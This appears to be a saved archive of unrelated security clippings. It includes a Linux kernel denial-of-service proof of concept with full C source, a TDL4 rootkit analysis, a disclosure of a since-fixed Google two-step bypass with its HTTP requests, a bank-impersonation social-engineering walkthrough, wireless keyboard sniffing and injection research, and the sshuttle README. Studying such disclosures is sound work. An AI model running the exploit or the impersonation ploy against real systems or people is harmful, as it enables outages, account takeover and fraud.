Tenda’s W302R  router, although it also exists in the Tenda W330R , as well as
re-branded models, such as the Medialink MWN-WAPR150N **.** They all use the
same “w302r\_mfg” magic packet string**.**

****

# LKML: Марк Коренберг: Simple kernel attack using socketpair. easy, 100%
reproductiblle, works under guest. no way to protect :\(

**Created:**| _11/27/2010 10:43:48 PM_  
---|---  
**Updated:**| _11/27/2010 10:43:56 PM_  
**Author:**| __  
**Tags:**| _Exploit Linux programming snipplets_  
  
Simple kernel attack using socketpair. easy, 100% reproductiblle,

works under guest. no way to protect :\(

  

See source attached.

  

Process become in state 'Running' but not killalble via kill -KILL.

  

eat 100% CPU, eat all available internal file descriptors in kernel :\(

  

\--

Segmentation fault

\#include <sys/socket.h>

\#include <sys/un.h>

  

static int send\_fd \(int unix\_fd, int fd\)

\{

struct msghdr msgh;

struct cmsghdr \*cmsg;

char buf\[CMSG\_SPACE \(sizeof \(fd\)\)\];

memset \(&msgh, 0, sizeof \(msgh\)\);

memset \(buf, 0, sizeof \(buf\)\);

  

msgh.msg\_control = buf;

msgh.msg\_controllen = sizeof \(buf\);

  

cmsg = CMSG\_FIRSTHDR \(&msgh\);

cmsg->cmsg\_len = CMSG\_LEN \(sizeof \(fd\)\);

cmsg->cmsg\_level = SOL\_SOCKET;

cmsg->cmsg\_type = SCM\_RIGHTS;

  

msgh.msg\_controllen = cmsg->cmsg\_len;

  

memcpy \(CMSG\_DATA \(cmsg\), &fd, sizeof \(fd\)\);

return sendmsg \(unix\_fd, &msgh, 0\);

\}

  

int main \(\)

\{

int fd\[2\], ff\[2\];

int target;

if \(socketpair \(PF\_UNIX, SOCK\_SEQPACKET, 0, fd\)==-1\)

return 1;

for \(;;\)

\{

if \(socketpair \(PF\_UNIX, SOCK\_SEQPACKET, 0, ff\)==-1\)

return 2;

send\_fd \(ff\[0\], fd\[0\]\);

send\_fd \(ff\[0\], fd\[1\]\);

close \(fd\[1\]\);

close \(fd\[0\]\);

fd\[0\] = ff\[0\];

fd\[1\] = ff\[1\];

\}

\}

# TDL4 exploits Windows Task Scheduler flaw

**Created:**| _12/12/2010 4:50:00 PM_  
---|---  
**Updated:**| _12/12/2010 4:50:27 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit admin_  
  

TDL4 exploits Windows Task Scheduler flaw  

Next tuesday will be the Microsoft patch day and Microsoft is going to release
**17 updates which will address 40 flaws** , fixing among all two critical
vulnerabilites that allow remote code execution and four elevation of
privileges vulnerabilities.  

One of the elevation of privileges flaws which is going to be addressed is
**the one related to the last 0day exploit left still opened and used by the
Stuxnet malware**. The flaw has been already publically disclosed and relative
proof of concept exploit has been released online in November, opening the
door for malicious activities. This flaw is officially known to Microsoft
since September.

It has become so trivial to exploit this flaw that **the authors of the TDL
rootkit started using it to avoid limited account and UAC-protected account
limitations**. As our readers may remember, we already talked about TDL
rootkit many times here in our blog as the most advanced rootkit in the wild
at the moment, and after this last update we can assume their authors are
still pretty active in developing the malware.

The biggest obstacle that TDL rootkit could run into was running in a limited
account or in a UAC-protected account because **it didn't have the needed
privileges to load its own kernel mode driver or to overwrite the MBR**. In
fact, the rootkit was previously able to infect Windows operating system only
after the user had given administrative privileges to it \(we are assuming
that the user is logged in a limited account or in an account protected by
UAC\).

Now, **by using the Windows Task Scheduler exploit the rootkit is fully able
to infect the system without any visual warning that could alert the user**.
We have found the rootkit being dropped by exploit kits on compromised
websites as well as usual vectors like cracks and warez websites.

After the dropper is executed, it tries at the beginning to load its own
driver by using the old well-known **AddPrintProvidor** trick to avoid
detection by some of classic HIPS software. If it gets back an
ERROR\_ACCESS\_DENIED status, then the dropper assumes it has been run in a
limited account and **sets up all the needed stuff to exploit the Windows Task
SchedulerCVE-2010-3888 vulnerability**. TaskEng.exe, the Windows Task Manager
Engine, will then execute the dropper again with SYSTEM privileges.

<img src='img/Temp2_7829.jpg' />

Beside that, there isn't any major change to the rootkit code itself. The TDL4
kernel mode component has been updated to version **0.03** earlier last month.
This update added the **filtering by the rootkit of the ATA Pass Through
commands** , which was one of the last available ways to bypass rootkit
filtering engine in user mode - SCSI Pass Through commands were filtered by
the rootkit since version 3.273 of previous TDL3 release.

Still the rootkit is able to hit x64 versions of Windows operating systems by
overwriting the MBR with its own loader. As we already wrote in a previous
blog post, the rootkit patches the MBR and restart the system to immediately
get the control of the system startup routine. It then patches the Boot
Configuration Data to disable Windows Driver Code Signing check.

To do that it sets up its own Int13h handler and intercepts the reading of the
BCD data looking for the **BcdLibraryBoolean\_EmsEnabled** element; when found
it is swapped to **BcdOSLoaderBoolean\_WinPEMode**. Windows is then booted in
WinPE mode, thus the driver signing check is disabled. The rootkit is free to
load its own kernel mode driver. Then the rootkit Int13h handler intercepts
the **/MININT** string and swaps it to **IN/MINT** , so that Windows does not
recognize the bootup parameter and resumes the normal Windows startup.

The rootkit loads at very early stage of the bootup process a fake copy of
kdcom.dll which exports a patched copy of the APIs used by the Windows
internal debugger - KdD0Transition, KdD3Transition, KdDebuggerInitialize0,
KdDebuggerInitialize1, KdReceivePacket, KdRestore, KdSave, KdSendPacket. This
prevents the operating system from starting up if it's set in debug mode.

We strongly encourage all users to run Windows Update on Tuesday and **fix
once and for all this vulnerability** already known for three months.

# Bypassing Google’s Two-Factor Authentication - Blog · Duo Security

**Created:**| _2/26/2013 3:39:35 PM_  
---|---  
**Updated:**| _2/26/2013 3:39:35 PM_  
**Author:**| __  
**Tags:**| _authentication bypass_  
  

# Bypassing Google’s Two-Factor Authentication

By Adam Goodman on February 25, 2013 · 0 Comments

**TL;DR** – An attacker can bypass Google’s two-step login verification, reset
a user’s master password, and otherwise gain full account control, simply by
capturing a user’s application-specific password \(ASP\).

<img src='img/Temp2_1220.png' alt='Bypassing Google Two-Factor Authentication'
/>

\(With all due respect to Google’s “Good to Know” ad campaign \)

### Abusing Google’s \(not-so-\) Application-Specific Passwords

Google’s 2-step verification makes for an interesting case study in some of
the challenges that go with such a wide-scale, comprehensive deployment of
strong authentication. To make 2-step verification usable for all of their
customers \(and to bootstrap it into their rather expansive ecosystem without
breaking everything\), Google’s engineers had to make a few compromises. In
particular, with 2-step verification came a notion of “Application-Specific
Passwords” \(ASPs\) .

Some months ago, we found a way to \(ab\)use ASPs to gain full control over
Google accounts, completely circumventing Google’s 2-step verification
process. We communicated our findings to Google’s security team, and recently
heard back from them that they had implemented some changes to mitigate the
most serious of the threats we’d uncovered. Here’s what we found:

### Application-Specific Passwords

Generally, once you turn on 2-step verification, Google asks you to create a
separate Application-Specific Password for each application you use \(hence
“Application-Specific”\) that doesn’t support logins using 2-step
verification. Then you use that ASP in place of your actual password. In more-
concrete terms, you create ASPs for most client applications that don’t use a
web-based login: email clients using IMAP and SMTP \(Apple Mail, Thunderbird,
etc.\); chat clients communicating over XMPP \(Adium, Pidgin, etc.\), and
calendar applications that sync using CalDAV \(iCal, etc.\).

Even some of Google’s own software initially required you to use ASPs – e.g.
to enable Chrome’s sync features, or to set up your Google account on an
Android device. More recently, these clients have generally shifted to using
methods along the lines of OAuth . In this model, when you first log in using
a new application or device, you get an authorization prompt — including
2-step verification — in a webview; after a successful login, Google’s service
returns a limited-access “token”, which is used to authenticate your
device/application in the future.

Actually, OAuth-style tokens and ASPs are notionally very similar — in each
case, you end up creating a unique authorization token for each different
device/application you connect to your Google account. Further, each token can
be individually revoked without affecting the others: if you lose your
smartphone, you can make sure that it no longer has access to your GMail
account without having to memorize a new password.

So then, the major differences between OAuth tokens and ASPs are:

  * OAuth tokens are created automatically, while ASPs are a thoroughly manual affair. You have to log into Google’s account settings page to create one, and then transcribe \(or copy/paste\) it into your application.
  * OAuth tokens use a flexible authorization model, and can be restricted to accessing only certain data or services in your account. By contrast, ASPs are — in terms of enforcement — not actually application-specific at all\!

This second point deserves some more attention. If you create an ASP for use
in \(for example\) an XMPP chat client, that same ASP can also be used to read
your email over IMAP, or grab your calendar events with CalDAV. This shouldn’t
be particularly surprising. In fact, Eric Grosse and Mayank Upadhyay of Google
even call this weakness out in their recent publication about Google’s
authentication infrastructure:

_“Another weakness of ASP is the misimpression that is provides application-
limited rather than full-scope account access.”_ \- Authentication at Scale ,
appearing in IEEE S&P Magazine vol. 11, no. 1

As it turns out, ASPs can do much, much more than simply access your email
over IMAP. In fact, an ASP can be used to log into almost any of Google’s web
properties and access privileged account interfaces, **in a way that bypasses
2-step verification**\!

### Auto-Login with Chrome

In recent versions of Android \(and ChromeOS\), Google has included, in their
browser, an “auto-login” mechanism for Google accounts. After you’ve linked
your device to a Google account, the browser will let you use your device’s
existing authorization to skip Google’s web-based sign-on prompts. \(There is
even experimental support for this in desktop versions of Chrome; you can
enable it by visiting `chrome://flags/`.\)

<img src='img/Temp2_1224.png' alt='android_autologin' />

Until late last week, this auto-login mechanism worked even for the most
sensitive parts of Google’s account-settings portal. This included the
“Account recovery options” page, on which you can add or edit the email
addresses and phone numbers to which Google might send password-reset
messages. In short, if you can access the “Account recovery options” page for
a Google account, then you can seize complete control of that account from its
rightful owner.

So, to recap:

  * You can use an ASP to link an Android device \(or Chromebook, etc.\) to a Google account, and
  * With that linked device, you could \(until very recently\) access the account’s recovery options \(using auto-login to bypass any sign-on pages\), change the password-reset settings, and gain full control over the account.

This was enough for us to realize that ASPs presented some surprisingly-
serious security threats, but we wanted to understand how the underlying
mechanisms actually worked.

### Technical Details

On his excellent Android Explorations  blog, Nikolay Elenkov documented a
rather in-depth investigation  into the web auto-login mechanism on Android.
This was a great starting point but still left a few gaps for our purposes. We
wanted to learn how to exploit Google’s auto-login mechanism without using an
Android device \(or Chromebook, etc.\) at all.

To do this, we set up an an intercepting proxy with a custom CA certificate to
watch the network traffic between an Android emulator instance and Google’s
servers. When adding a Google account to the emulator \(using an ASP\), we saw
the following request:

[code]

    POST /auth HTTP/1.1
    Host: android.clients.google.com
    ...
    accountType=HOSTED_OR_GOOGLE&Email=user%40domain.com&has_permission=1&add_account=1&EncryptedPasswd=AFcb4...&service=ac2dm&source=android&androidId=3281f33679ccc6c6&device_country=us&operatorCountry=us&lang=en&sdk_version=17
[/code]

The response body contained, among other things:

[code]

    Token=1/f1Hu...
[/code]

While the URL and some of the parameters aren’t documented, this very closely
resembles the Google ClientLogin API . To recreate this request on our own,
we’d need only to figure out what values to fill in for the EncryptedPasswd
and androidId parameters. It turns out that androidId is simple; we’re
confident in assuming it is the same “Android ID” mentioned in the Android API
Docs: a randomly-generated 64-bit value that is intended to uniquely identify
an Android device.

Another of Elenkov’s blog posts  led us to believe that EncryptedPasswd might
be our ASP, encrypted with a 1024-bit RSA public key included in the Android
system. EncryptedPasswd was, in fact, 130 bytes of \(base64-encoded\) binary
data, so this seems quite possible. However, before digging too deeply into
this, we decided to try replacing the EncryptedPasswd parameter with the
\(unencrypted\) Passwd parameter from the ClientLogin API documentation, set
to our ASP:

[code]

    POST /auth HTTP/1.1
    Host: android.clients.google.com
    ...
    accountType=HOSTED_OR_GOOGLE&Email=user%40domain.com&has_permission=1&add_account=1&Passwd=xxxxxxxxxxxxxxxx&service=ac2dm&source=android&androidId=3281f33679ccc6c6&device_country=us&operatorCountry=us&lang=en&sdk_version=17
[/code]

This worked\! Again, we got a response containing what appeared to be a valid
`Token`. The token created by the android.clients.google.com endpoint was now
visible in our account’s “Connected Sites, Apps, and Services” interface,
appearing to offer “Full Account Access”:

<img src='img/Temp2_1221.png' alt='androidloginservice' />

Continuing on with our captured traffic, we subsequently saw two different
workflows for the browser’s auto-login functionality. The simpler of the two
was another ClientLogin-style request, but using the returned `Token`:

[code]

    POST /auth HTTP/1.1
    Host: android.clients.google.com
    ...
    accountType=HOSTED_OR_GOOGLE&Email=user%40domain.com&has_permission=1&Token=1%2Ff1Hu...&service=weblogin%3Acontinue%3Dhttps%253A%252F%252Faccounts.google.com%252FManageAccount&source=android&androidId=3281f33679ccc6c6&app=com.android.browser&client_sig=61ed377e85d386a8dfee6b864bd85b0bfaa5af81&device_country=us&operatorCountry=us&lang=en&sdk_version=17
[/code]

This request returned a response body along the lines of:

[code]

    Auth=https://accounts.google.com/MergeSession?args=continue%3Dhttps%253A%252F%252Faccounts.google.com%252FManageAccount&uberauth=AP...&source=AndroidWebLogin
    Expiry=0
[/code]

From this request, we determined that the general format for the service
parameter was `weblogin:continue=url_encode(destination_url)`. We then decided
to try specifying this `service` in our original request – i.e. with an ASP
instead of the `Token` \(and without trying to determine the provenance of an
unknown `client_sig parameter`\):

[code]

    POST /auth HTTP/1.1
    Host: android.clients.google.com
    ...
    device_country=us&accountType=HOSTED_OR_GOOGLE&androidId=3281f33679ccc6c6&Email=user%40domain.com&lang=en&service=weblogin%3Acontinue%3Dhttps%253A%2F%2Faccounts.google.com%2FManageAccount&source=android&Passwd=xxxxxxxxxxxxxxxx&operatorCountry=us&sdk_version=17&has_permission=1
[/code]

This returned us the same form of response:

[code]

    Auth=https://accounts.google.com/MergeSession?args=continue%3Dhttps%253A%252F%252Faccounts.google.com%252FManageAccount&uberauth=AP...&source=AndroidWebLogin
    Expiry=0
[/code]

That MergeSession URL is the key here. If you open it in an un-authenticated
web browser after making this API call \(you have to do this quickly; it has a
very short expiration window\), you will be immediately logged into your
account settings page, with no authentication prompt\!

**So: given nothing but a username, an ASP, and a single request to
https://android.clients.google.com/auth, we can log into any Google web
property without any login prompt \(or 2-step verification\)\!**

### Google’s Fix

As we mentioned before, this worked on even the most sensitive sections of
Google’s account-settings portal. An attacker could perform a variety of
privileged actions using a victim’s ASP:

  * An attacker could pass https://accounts.google.com/b/0/UpdateAccountRecoveryOptions?hl=en&service=oz  as the destination URL in the API request, and the resulting MergeSession URL would take them immediately to the “Account recovery options” page, in which they could modify the password recovery email address to perform a reset of the victim’s master password.
  * Similarly, an attacker could pass https://accounts.google.com/b/0/SmsAuthConfig?hl=en , and the resulting URL would take them to the settings for 2-step verification, in which they could create/edit ASPs, or turn off 2FA for the account altogether.

This is no longer the case as of February 21st, when Google engineers pushed a
fix to close this loophole. As far as we can tell, Google is now maintaining
some per-session state to identify how you authenticated — did you log in
using a MergeSession URL, or the normal username, password, 2-step
verification flow? The account-settings portal will only allow you to access
security-sensitive settings in the latter case \(i.e. if you logged in using a
MergeSession URL, it will give you a username/password/2-step-verification
prompt that you can’t skip.\)

### Was This So Bad?

We think it’s a rather significant hole in a strong authentication system if a
user still has some form of “password” that is sufficient to take over full
control of his account. However, we’re still confident that — even before
rolling out their fix — enabling Google’s 2-step verification was
unequivocally better than not doing so.

These days, attackers still have a lot of success using some very simple
methods to take over accounts. For example, by:

  * Creating a phishing site to trick users into giving up their passwords.
  * Exploiting the fact that users often share passwords between sites, by cracking a \(poorly-protected\) password database from one site, and using the recovered passwords to attempt to break into users’ accounts on other sites.

Both of these examples represent types of attacks that should be prevented
simply by having users apply common sense and good digital hygiene – i.e.
don’t use the same password on more than one site, and don’t click suspicious
links in email messages. Unfortunately, this sort of “user education” program
is something that rarely works well in practice \(and might not even make
economic sense \).

However, even with all-powerful ASPs, Google’s 2-step verification system
should mitigate both of these types of attacks, even if users continue to do
“stupid” things. Application-Specific Passwords are generated by Google, and
not intended for users to memorize, so it’s extremely unlikely that a user
might share one with other websites. Similarly, if a phishing site demanded
users submit an Application-Specific Password, we imagine its success rate
would be far lower \(perhaps orders of magnitude lower\) than normal.

That said, all-powerful ASPs still carry some serious potential for harm. If
an attacker can trick a user into running some malware, that malware might be
able to find and extract an ASP somewhere on that user’s system \(for example,
Pidgin , a popular chat client often used with Google Talk, stores passwords
in plaintext in an XML file \). In addition, thick-client applications, the
primary consumer of ASPs, are rather notorious  for poor SSL certificate
verification, potentially allowing ASPs to be captured on the wire via MITM
attacks.

Google’s fix helps this situation significantly. Though a compromised ASP
could still inflict significant harm on a user, that user should ultimately
retain control over his account \(and the ability to revoke the ASP at the
first sign something has gone wrong\). However, we’re strong believers in the
principle of least privilege , and we’d love to see Google implement some
means to further-restrict the privileges of individual ASPs.

### \*Update\*

Google has updated their verbage when an ASP is generated to warn users of
their potential risk:

<img src='img/Temp2_1222.png' alt='aspwarning' />

### Disclosure Timeline

2012/07/16: Duo researchers confirm presence of ASP weakness.  
2012/07/18: Issue reported to security@google.com.  
2012/07/20: Communication with Google Security Team clarifying the issue.  
2012/07/24: Issue is confirmed and deemed “expected behavior” by Google
Security Team.  
2013/02/21: Fix is pushed by Google to prevent ASP-initiated sessions from
accessing sensitive account interfaces.  
2013/02/25: Public disclosure by Duo.

Inspired to enable two-factor authentication with your Google account? No need
to download yet another app. We recently added third-party account support to
Duo Mobile  so now your work and personal accounts can all live in one place\!

<img src='img/Temp2_1223.png' alt='multiaccount' />

# How to hack your own bank account using information on the Internet | PandoDaily
**Created:**| _10/14/2013 7:56:56 PM_  
---|---  
**Updated:**| _10/15/2013 9:32:12 AM_  
**Author:**| __  
**Tags:**| _web-app-sec social_  
  

# How to hack your own bank account using information on the Internet****

  
On October 1, 2013

<img src='img/Temp2_4112.jpg' alt='BonnieClyde67TrailerSitBumper' />

Identity theft is one of those things that you think you’ll never experience
personally**.** Excuse the grim analogy, but it’s a bit like death**.** It
always happens to someone else**.** But identity theft is rampant, and given
our ever-increasing propensity to put all sorts of information online, the
chances of it happening to either ourselves or someone we know is relatively
high**.**

According to The US National Institute of Justice estimates there were 9
million incidents of identity theft in 2011 alone in the US, almost 3 percent
of the population**.** Clearly, there are lots of people out there who make a
living stealing people’s identities**.**

And just to show you how easy it is, and why it’s so commonplace, I decided to
conduct an experiment: Would it be possible to check the balance of my credit
card account using only information I can find on the Internet**?**

The first step is to call my bank to establish what information they require
to make sure I am the real account owner**.** The bank employee asked me for
my name, date of birth, address, and my personal identification number**.**
Just to be sure he also asked me about my email address and some digits of my
credit card and its expiration date**.**

You might think this would put off an identity thief**.** After all, it’s a
lot of information to discover. But there’s so much information online, it’s
not really that hard**.** The first thing I need to discover is my name. This
is easy; my Facebook account displays it for all to see**.**

The next thing is date of birth. I didn’t complete this field for my Facebook
account \(but most people do\)**.** Even thought it is unlisted on Facebook,
it’s not hard to discover**.** By looking through the pictures I’ve posted I
find the hint I need**.** It’s a photo, saying: “Today is my birthday, let’s
party**\!** ” And there slap bang in the middle of my lovely birthday cake is
a figure that says how old I am**.**

The next bits of required information are home address and personal
identification number**.** This seems like a real challenge. But it’s not.
These details are posted on the Internet as part of an official document**.**
You just need to know where to look. And the clever identity thief will
certainly know where to look**.** My email address is very easy to find – it’s
all over the Internet**.**

Up until this point finding the relevant information has been relatively
easy**.** Now, it’s time for the difficult bit, to find out the credit card
details such as the card number and expiration date**.**

The first thing to do is check the Facebook photos again**.** There’s a photo
that’s very interesting – a beautiful and welcoming hotel where I spent my
great vacation this year**.** It’s a great opportunity to find the details for
my credit card**.**

I find the hotel’s number and call them impersonating someone from the
bank**.** Armed with the information I’ve already collected, I say there’s a
problem with the credit card payment used to make the payment for the room,
and I need to check the card details**.** The person on the phone willingly
obliges by providing the number and expiry date to help me double check**.**
After all, he thinks I’m calling from the bank.

And that’s it. I’ve got all the information I need to call the bank and access
the account details to check the balance, or transfer some money to another
account, or make a payment for something, or…

It really is as straightforward as that**.** And for lots of people
discovering this sort of information is a way of life**.** The Internet simply
makes it a lot easier**.** So take care and be sure to practice good identity
theft protection – because identity theft doesn’t just happen to other
people**.**

  

# apenwarr/sshuttle

**Created:**| _10/30/2012 10:45:09 AM_  
---|---  
**Updated:**| _10/30/2012 10:45:09 AM_  
**Author:**| __  
**Tags:**| _network-security vpn ssh_  
  

WARNING: On MacOS 10.6 \(at least up to 10.6.6\), your network will stop
responding about 10 minutes after the first time you start sshuttle, because
of a MacOS kernel bug relating to arp and the net.inet.ip.scopedroute sysctl.
To fix it, just switch your wireless off and on. Sshuttle makes the kernel
setting it changes permanent, so this won't happen again, even after a reboot.

#  sshuttle: where transparent proxy meets VPN meets ssh

As far as I know, sshuttle is the only program that solves the following
common case:

  * Your client machine \(or router\) is Linux, FreeBSD, or MacOS.
  * You have access to a remote network via ssh.
  * You don't necessarily have admin access on the remote network.
  * The remote network has no VPN, or only stupid/complex VPN protocols \(IPsec, PPTP, etc\). Or maybe you _are_ the admin and you just got frustrated with the awful state of VPN tools.
  * You don't want to create an ssh port forward for every single host/port on the remote network.
  * You hate openssh's port forwarding because it's randomly slow and/or stupid.
  * You can't use openssh's PermitTunnel feature because it's disabled by default on openssh servers; plus it does TCP-over-TCP, which has terrible performance \(see below\).

##  Prerequisites

  * sudo, su, or logged in as root on your client machine. \(The server doesn't need admin access.\)
  * If you use Linux on your client machine: iptables installed on the client, including at least the iptables DNAT, REDIRECT, and ttl modules. These are installed by default on most Linux distributions. \(The server doesn't need iptables and doesn't need to be Linux.\)
  * If you use MacOS or BSD on your client machine: Your kernel needs to be compiled with IPFIREWALL\_FORWARD \(MacOS has this by default\) and you need to have ipfw available. \(The server doesn't need to be MacOS or BSD.\)

##  This is how you use it:

  * `git clone git://github.com/apenwarr/sshuttle` on your client machine. You'll need root or sudo access, and python needs to be installed.
  * The most basic use of sshuttle looks like: `./sshuttle -r username@sshserver 0.0.0.0/0 -vv`
  * There is a shortcut for 0.0.0.0/0 for those that value their wrists `./sshuttle -r username@sshserver 0/0 -vv`
  * If you would also like your DNS queries to be proxied through the DNS server of the server you are connect to: `./sshuttle --dns -vvr username@sshserver 0/0`
The above is probably what you want to use to prevent local network attacks
such as Firesheep and friends.

  * OR if you have MacOS and want to try the GUI version: make open ui-macos/Sshuttle\*.app

\(You may be prompted for one or more passwords; first, the local password to
become root using either sudo or su, and then the remote ssh password. Or you
might have sudo and ssh set up to not require passwords, in which case you
won't be prompted at all.\)

That's it\! Now your local machine can access the remote network as if you
were right there. And if your "client" machine is a router, everyone on your
local network can make connections to your remote network.

You don't need to install sshuttle on the remote server; the remote server
just needs to have python available. sshuttle will automatically upload and
run its source code to the remote python interpreter.

This creates a transparent proxy server on your local machine for all IP
addresses that match 0.0.0.0/0. \(You can use more specific IP addresses if
you want; use any number of IP addresses or subnets to change which addresses
get proxied. Using 0.0.0.0/0 proxies _everything_ , which is interesting if
you don't trust the people on your local network.\)

Any TCP session you initiate to one of the proxied IP addresses will be
captured by sshuttle and sent over an ssh session to the remote copy of
sshuttle, which will then regenerate the connection on that end, and funnel
the data back and forth through ssh.

Fun, right? A poor man's instant VPN, and you don't even have to have admin
access on the server.

##  Theory of Operation

sshuttle is not exactly a VPN, and not exactly port forwarding. It's kind of
both, and kind of neither.

It's like a VPN, since it can forward every port on an entire network, not
just ports you specify. Conveniently, it lets you use the "real" IP addresses
of each host rather than faking port numbers on localhost.

On the other hand, the way it _works_ is more like ssh port forwarding than a
VPN. Normally, a VPN forwards your data one packet at a time, and doesn't care
about individual connections; ie. it's "stateless" with respect to the
traffic. sshuttle is the opposite of stateless; it tracks every single
connection.

You could compare sshuttle to something like the old Slirp program, which was
a userspace TCP/IP implementation that did something similar. But it operated
on a packet-by-packet basis on the client side, reassembling the packets on
the server side. That worked okay back in the "real live serial port" days,
because serial ports had predictable latency and buffering.

But you can't safely just forward TCP packets over a TCP session \(like ssh\),
because TCP's performance depends fundamentally on packet loss; it _must_
experience packet loss in order to know when to slow down\! At the same time,
the outer TCP session \(ssh, in this case\) is a reliable transport, which
means that what you forward through the tunnel _never_ experiences packet
loss. The ssh session itself experiences packet loss, of course, but TCP fixes
it up and ssh \(and thus you\) never know the difference. But neither does
your inner TCP session, and extremely screwy performance ensues.

sshuttle assembles the TCP stream locally, multiplexes it statefully over an
ssh session, and disassembles it back into packets at the other end. So it
never ends up doing TCP-over-TCP. It's just data-over-TCP, which is safe.

##  Useless Trivia

Back in 1998 \(12 years ago\! Yikes\!\), I released the first version of
Tunnel Vision, a semi-intelligent VPN client for Linux. Unfortunately, I made
two big mistakes: I implemented the key exchange myself \(oops\), and I ended
up doing TCP-over-TCP \(double oops\). The resulting program worked okay - and
people used it for years - but the performance was always a bit funny. And
nobody ever found any security flaws in my key exchange, either, but that
doesn't mean anything. :\)

The same year, dcoombs and I also released Fast Forward, a proxy server
supporting transparent proxying. Among other things, we used it for
automatically splitting traffic across more than one Internet connection \(a
tool we called "Double Vision"\).

I was still in university at the time. A couple years after that, one of my
professors was working with some graduate students on the technology that
would eventually become Slipstream Internet Acceleration. He asked me to do a
contract for him to build an initial prototype of a transparent proxy server
for mobile networks. The idea was similar to sshuttle: if you reassemble and
then disassemble the TCP packets, you can reduce latency and improve
performance vs. just forwarding the packets over a plain VPN or mobile
network. \(It's unlikely that any of my code has persisted in the Slipstream
product today, but the concept is still pretty cool. I'm still horrified that
people use plain TCP on complex mobile networks with crazily variable latency,
for which it was never really intended.\)

That project I did for Slipstream was what first gave me the idea to merge the
concepts of Fast Forward, Double Vision, and Tunnel Vision into a single
program that was the best of all worlds. And here we are, at last, 10 years
later. You're welcome.

##

Avery Pennarun apenwarr@gmail.com

Mailing list: Subscribe by sending a message to
sshuttle+subscribe@googlegroups.com List archives are at:
http://groups.google.com/group/sshuttle

# Keykeriki V2 – Practical Exploitation of …

**Created:**| _2/10/2010 8:08:28 PM_  
---|---  
**Updated:**| _2/10/2010 8:08:42 PM_  
**Author:**| __  
**Tags:**| _wifi_  
  

## Keykeriki V2 – Practical Exploitation of …

Posted by ths

## … Modern Wireless Devices

Several months ago, we published all information that is necessary to build an
own wireless keyboard sniffer. We called it Keykeriki and we also have a
project page for this stuff. This keyboard sniffing device is able to capture
and decrypt keystrokes, sent by Microsoft and Logitech 27 MHz based keyboards.
And we got stuck there, somehow. We prepared PCBs for you and we still have
some, but: We don’t know if it’s worth ordering more PCBs right now, at least
there are still several people out there, interested in getting such a PCB for
building this device. But why shouldn’t it not worth ordering more PCBs right
now..? Well, we did some more research as briefly announced on the project
page. If you wrote us an email, it might be still not answered yet… well,
we’re sorry about this, but we were really, really close to completion of this
project – every day. For the past six months.

We just thought: “ _let’s just wait a few days and we will write answers to
all those emails anyway\!_ ”.

### What happened?

In November 2009 we had a talk regarding 2.4GHz based wireless keyboard
security at DeepSec Security Conference in Vienna. We analyzed several modern,
state of the art keyboards and realized that they all have something in
common: They’re all using some kind of proprietary protocol, based on a free
2.4GHz band. All of them we have analyzed \(several Microsoft and Logitech
devices, Siemens-Fujitsu, etc\) uses a Nordic Semiconductor SoC transceiver
which also implements \(and hides\) the complete Layer-2, the MAC layer. Using
the so-called “Enhanced Shockburst™ Technology” data rates up to 2mbit/sec are
possible at very low power consumption, by minimizing the on-air time. Those
devices do not allow a direct access to Layer-2 by design, one must know the
MAC-address in order to configure and use a Nordic Semiconductor transceiver
properly. Otherwise the SoC threats Shockburst Frames without correct
destination address as noise. Despite the fact that we need to brute-force
guess a correct MAC address \(which is possible within several hours\) we
analyzed the payload, sent by the keyboards.

Short summary of some findings:

  * Logitech uses the 128-bit AES crypto hardware of Nordic Semiconductor’s transceiver chip. The methods used here are already broken in theory; I guess it simply needs some more spare-time for also being broken in practice ;-\)
  * Microsoft also uses 128-bit AES hardware crypto-enabled transceiver chips, but… they rather implemented their own high-secure crypto-algorithm in software, and also a secret checksum algorithm\! Well, duh – lessons learned from the past: They don’t use the secret  _XOR-with-one-random-byte-algorithm_ anymore. Since they ship their devices with hardware-crypto enabled SoCs, implementing a secret  _XOR-with-five**-nonrandom**_ _\(MAC address\)-byte-algorithm_ goes without saying. That’s right, five byte XOR key equals the constant MAC address which **must **\(\!\) be known by anyone who wants to send/receive to/from a specific device anyway\!
  * Siemens Fujitsu – no crypto
  * No-Name devices – \*yawn\*

At this point we just followed the brute-force attack scenario and attached a
Nordic Semi transceiver module to the existing Keykeriki device. Only one
simple modification is necessary, to attach the module to the pins on the
right side of the Atmel AVR. And this simple modification is exactly the
reason for the delay, that’s why we got stuck in a situation trying both:
moving forward at the same time whilst moving backward \(for staying
compatible\) and providing better error correction for the 27MHz stuff.

<img src='img/Temp2_4793.jpg' width='225' height='300' />

2.4GHz range tests inhouse

In the end we were able to \(of course\) read, and also send data to the PC.
We implemented a very simple remote command injection exploit demo by sending
“Windows-R + cmd.exe + Return”. Well, there are several technical details
which will be described in our new whitepaper, but at least we were able to
execute commands remotely over a distance of 75m in-house.

The attack and also information about the Logitech crypto is briefly described
in our presentation slides of DeepSec Conference 2009 and will be detailed in
our upcoming whitepaper.

### Keykeriki V2

Now – and that’s the news – we are also able to perform all attacks also using
zero-knowledge approaches. We build a new generation Keykeriki V2 which is
based on an ARM Cortex-M3 microcontroller. We decided to let off the concept
of a super-universal Keykeriki device and build a new one that is able to
process data at higher speed.

<img src='img/Temp2_4794.jpg' width='300' height='225' alt='Keykeriki V2 PCB
Prototype' />

Dev/Prototype version of Keykeriki V2

Our goal was to enable attacks using zero-knowledge approaches without
expensive radio equipment. The new tool may also prepare the base for complete
new threat scenarios through those low-cost 2.4GHz SoC devices\! We don’t want
to publish many information about the new hard- and software right now. The
news will be detailed at our talk at CanSecWest 2010 in Vancouver, Canada.
We’re going to release the successor to the Keykeriki during the conference.
The working title is “ _Vogelgrippe_ ” and it will be able to capture raw
“Enhanced Shockburst™” frames, therefore being able capturing keystrokes of
any wireless keyboard which uses the 2.4GHz Enhanced Shockburst™ Technology.
The hardware will be as tiny and handy as the first generation Keykeriki,
therefore not larger than a packet of cigarettes.

The abstract of our talk at CanSecWest 2010 will be available later.
CanSecWest 2010 will be held March 24.-26.March 2010 in Vancouver, Canada.
Many thanks to Dreamlab Technologies AG for supporting this project\!

  

# The Paradox of the Proof | Project Wordsworth
**Created:**| _9/27/2013 11:10:03 AM_  
---|---  
**Updated:**| _9/27/2013 11:10:03 AM_  
**Author:**| __  
**Tags:**| _math_  
  

# **T** he Paradox of the Proof****

#### By Caroline Chen****

MAY 9, 2013

* * *
On August 31, 2012, Japanese mathematician Shinichi Mochizuki posted four
papers on the Internet**.**

The titles were inscrutable**.** The volume was daunting: 512 pages in total.
